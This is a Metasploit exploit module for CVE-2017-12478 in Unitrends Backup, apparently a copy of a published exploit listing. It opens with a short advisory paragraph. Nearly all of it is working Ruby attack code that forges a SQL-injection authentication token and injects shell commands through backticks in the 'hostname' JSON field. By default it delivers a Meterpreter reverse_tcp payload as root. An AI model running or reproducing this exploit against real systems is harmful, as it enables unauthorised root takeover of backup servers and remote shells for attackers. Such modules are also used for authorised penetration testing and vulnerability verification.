Unitrends UEB 9 HTTP API/Storage Remote Root

It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system.


MD5 | a515b24571a355cc139de851e5a2e690

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Unitrends UEB 9 http api/storage remote root',
'Description' => %q{
It was discovered that the api/storage web interface in Unitrends Backup (UB)
before 10.0.0 has an issue in which one of its input parameters was not validated.
A remote attacker could use this flaw to bypass authentication and execute arbitrary
commands with root privilege on the target system.
},
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave' # @iotennui
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'CmdStagerFlavor' => [ 'printf' ],
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
['CVE', '2017-12478'],
],
'Targets' =>
[
[ 'UEB 9.*', { } ]
],
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'SSL' => true
},
'DisclosureDate' => 'Aug 8 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
])
deregister_options('SRVHOST', 'SRVPORT')
end

#substitue some charactes
def filter_bad_chars(cmd)
cmd.gsub!("\\", "\\\\\\")
cmd.gsub!("'", '\\"')
end

def execute_command(cmd, opts = {})
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
session = Base64.strict_encode64(session) #b64 encode session token

#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|


res = send_request_cgi({
'uri' => '/api/storage',
'method' => 'POST',
'ctype' => 'application/json',
'encode_params' => false,
'data' => parms,
'headers' =>
{'AuthToken' => session}
})

if res && res.code != 500
fail_with(Failure::UnexpectedReply,'Unexpected response')
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end

def exploit
print_status("#{peer} - pwn'ng ueb 9....")
execute_cmdstager(:linemax => 120)
end
end

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